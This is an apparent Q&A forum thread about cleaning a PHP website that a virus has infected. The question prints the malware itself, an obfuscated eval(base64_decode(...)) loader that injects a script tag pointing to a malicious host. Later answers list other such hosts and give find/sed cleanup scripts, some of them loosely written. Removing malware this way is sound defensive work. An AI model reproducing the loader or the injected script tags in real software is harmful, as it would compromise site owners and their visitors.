views:

1221

answers:

8

I have a problem about removing a virus code from my php files. There is more then 1200 php file in my server and every single php file has been infected by an virus. Virus code adding this line to html output

<script src="http://holasionweb.com/oo.php"&gt;&lt;/script&gt;

This is the code of virus

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5b2IyeGhjMmx2Ym5kbFlpNWpiMjB2YjI4dWNHaHdJajQ4TDNOamNtbHdkRDQ9Iik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0gICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEPUBvcmQoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDMsMSkpOyAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9MTA7ICAgICAgJFJBM0Q1MkU1MkE0ODkzNkNERTBGNTM1NkJCMDg2NTJGMj0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virus code from every php file ? Is there a quick way for doing it?

+1  A: 

I had the same issue, and used the method detailed on this site to fix it. Basically, you'll want to run a script that looks through every file on the site, and removes the offending code. The site explains it better than I could here.

http://www.diovo.com/2009/03/hidden-iframe-injection-attacks/

Matthew
+1  A: 

If it's exactly the same piece of code in each file, then you could download Notepad++ for example. Open all files and use the Find in File in Find (ctrl+F) to replace this PHP code in every file

alt text

Harmen
open 1200 files? why???
Yuval A
+2  A: 

why not setup a quick script in your favorite scripting language to look through every file for something similar to that and remove it? souns like a 10 minute script to me

note i say script because 1200 files is too much to do manually

Earlz
with this php class i have removed all of virus codes http://www.phpclasses.org/package/3211-PHP-Search-files-and-replace-their-content.html thanks for your reply
Uchiha Itachi
+4  A: 

Save bellow code as cleaner.php and upload it to your root directory and call it via browser.

    Site clean up by <a href="http://sucuri.net"&gt;http://sucuri.net&lt;/a&gt;&lt;br />
This script will clean the malware from this attack:
<a href="http://sucuri.net/malware/entry/MW:MROBH:1"&gt;http://sucuri.net/malware/entry/MW:MROBH:1&lt;/a&gt;
<br /><br />
If you need help, contact [email protected] or visit us at <a href="http://sucuri.net/index.php?page=nbi"&gt;
http://sucuri.net/index.php?page=nbi&lt;/a&gt;

<br />
<br />
<?php

$dir = "./";

$rmcode = `find $dir -name "*.php" -type f |xargs sed -i 's#<?php /\*\*/ eval(base64_decode("aWY.*?>##g' 2>&1`;
echo "Malware removed.<br />\n";
$emptyline = `find $dir -name "*.php" -type f | xargs sed -i '/./,$!d' 2>&1`;
echo "Empty lines removed.<br />\n";
?>
<br />
Completed.
Uchiha Itachi
+1  A: 

The first answer above is missing some code to complete the removal.

It also needs to remove the HTML script line that injects javascript into the PHP/HTML page (typically located at the end of the page near the tag, header, or otherwise).

Although as of 5/12/2010, holasionweb is the main source of the javscript injection (at least that I have seen), the above page: http://sucuri.net/malware/entry/MW:MROBH:1 refers to several "possible" javascipt sources that need to be removed.

(Infected malware javascript sites) www.indesignstudioinfo.com/ls.php zettapetta.com/js.php holasionweb.com/oo.php

Add these lines to remove the calls to the 3 malware sources: (if your infection uses another source, modify the regular express accordingly.

$removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://holasionweb\.com.*/script&gt;##g' 2>&1;

$removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://www.indesignstudioinfo\.com.*/script&gt;##g' 2>&1;

$removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://zettapetta\.com.*/script&gt;##g' 2>&1;

echo "Javascript removed.
\n";

Anonymous
A: 

This site is the best, it got rid of the scripts following the first cleaner.php. Thank you.

menumonk
A: 

Thanks so much for this post. Helped me finally clear out my site.

By the way, they also get into Wordpress posts.

Does anyone know how this virus gets inserted in the first place?

These bastards have been hitting me regularly with this, and I don't know how they're doing it.

???

Carlos
+1  A: 

Simple command from ssh similar to:

find /path/to/docroot -name '*.php' -exec sed -i 's/<script.*?holasionweb.*?script>//' {} \;
Denis